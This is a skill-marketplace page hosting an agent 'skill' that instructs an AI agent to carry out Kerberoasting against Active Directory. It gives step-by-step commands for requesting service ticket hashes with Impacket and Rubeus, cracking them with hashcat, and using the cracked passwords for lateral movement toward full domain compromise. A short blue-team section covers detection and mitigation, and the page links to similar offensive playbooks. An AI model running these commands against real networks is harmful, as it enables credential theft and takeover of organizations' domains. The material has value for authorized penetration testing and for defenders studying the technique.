본문으로 건너뛰기
cccskills
무료GitHub에 공개

kerberoasting-active-directory

Execute a Kerberoasting attack to extract Service Principal Name (SPN) ticket hashes from Active Directory and crack them offline. This allows an attacker with any valid domain credentials to escalate privileges by obtaining the plaintext password of highly-privileged service accounts.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

설치 방법 보기

포함된 파일(3)

  • SKILL.md7.3 KB
  • evals/evals.json546 B
  • scripts/process.py7.8 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Kerberoasting Active Directory

When to Use

  • When you have compromised any standard, unprivileged Active Directory user account and need to escalate privileges.
  • When you want to target service accounts, which often have weak passwords, high privileges (e.g., Domain Admin), and passwords that rarely expire.
  • When you want to conduct a stealthy attack without executing code on the Domain Controller, as requesting Service Tickets (TGS) is a normal AD function.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying Service Principal Names (SPNs)

# Concept: In Windows domains, services (like SQL Server, IIS, Exchange) run under specific user 
# accounts. These accounts are associated with SPNs. To access a service, any user can request a 
# Ticket Granting Service (TGS) ticket for that SPN from the Domain Controller. The TGS is encrypted 
# with the password hash of the service account.

# Kerberoasting takes advantage of the fact that ANY domain user can request a TGS for ANY SPN.

Phase 2: Requesting and Extracting TGS Tickets

# Using Impacket (from Kali Linux/attacker machine)
# Assuming you have compromised a standard user 'Bob' with password 'Welcome123!'

# 1. Identify kerberoastable accounts and request their TGS hashes
impacket-GetUserSPNs -request -dc-ip 10.0.0.5 'corp.local/Bob:Welcome123!' -outputfile hashes.txt

# Using Rubeus (from a compromised Windows endpoint)
# Run from a command prompt with Bob's context (e.g., Cobalt Strike beacon)
Rubeus.exe kerberoast /outfile:hashes.txt

Phase 3: Offline Cracking

# Concept: The extracted TGS tickets are encrypted with the service account's NTLM hash (often RC4 encryption).
# You can use Hashcat to crack these hashes offline without generating any network traffic or lockouts.

# 1. Crack hashes using Hashcat with a wordlist (e.g., rockyou.txt)
# Hash type 13100 is for Kerberos 5 TGS-REP etype 23 (RC4)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -O

# 2. Review the cracked passwords
# Hashcat will output the plaintext password if a match is found in the wordlist.
# E.g., svc_sqluser:Password2023!

Phase 4: Privilege Escalation

# Concept: Service accounts often possess excessive privileges. Once cracked, use the 
# plaintext password to authenticate and move laterally.

# 1. Verify credentials and check privileges using NetExec (nxc) / CrackMapExec
nxc smb 10.0.0.0/24 -u svc_sqluser -p 'Password2023!' --local-auth

# 2. If the service account is a Domain Admin, proceed with full domain compromise (e.g., DCSync).

Decision Point 🔀

flowchart TD
    A[Compromise Standard User Account] --> B[Request TGS for SPNs using Impacket/Rubeus]
    B --> C{Are there accounts with SPNs?}
    C -->|Yes| D[Extract RC4/AES encrypted TGS Hashes]
    C -->|No| E[Kerberoasting not possible. Try AS-REP Roasting or BloodHound mapping]
    D --> F[Crack hashes offline via Hashcat]
    F --> G{Is hash cracked successfully?}
    G -->|Yes| H[Use plaintext password for Privilege Escalation & Lateral Movement]
    G -->|No| I[Attempt custom wordlists, rule-based cracking, or pivot to another vector]

🔵 Blue Team Detection & Defense

  • Strong Service Account Passwords: The most effective mitigation is ensuring all service accounts have highly complex, randomly generated passwords of at least 25 characters. Use Managed Service Accounts (gMSA) where possible, as AD automatically rotates their highly complex 120-character passwords every 30 days.
  • Enforce AES Encryption: RC4 (encryption type 23) is significantly easier to crack than AES (encryption type 18 or 17). Enforce AES-256 for all Kerberos authentication and disable RC4 across the domain via Group Policy.
  • Monitor for Anomalous TGS Requests: Monitor Event ID 4769 (A Kerberos service ticket was requested). Specifically, look for a high volume of TGS requests with RC4 encryption (Ticket Encryption Type 0x17) originating from a single user account in a short timeframe, which indicates automated Kerberoasting tools like Rubeus or GetUserSPNs.

Key Concepts

ConceptDescription
SPNService Principal Name. A unique identifier for a service instance, used by Kerberos to associate a service instance with a service logon account.
TGSTicket Granting Service ticket. A ticket requested by a user from the DC, encrypted with the target service account's password hash, used to access the service.
RC4A weak stream cipher (etype 23) historically used for Kerberos encryption in Active Directory. Easily cracked via brute-force if the underlying password is weak.

Output Format

Kerberoasting Active Directory — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고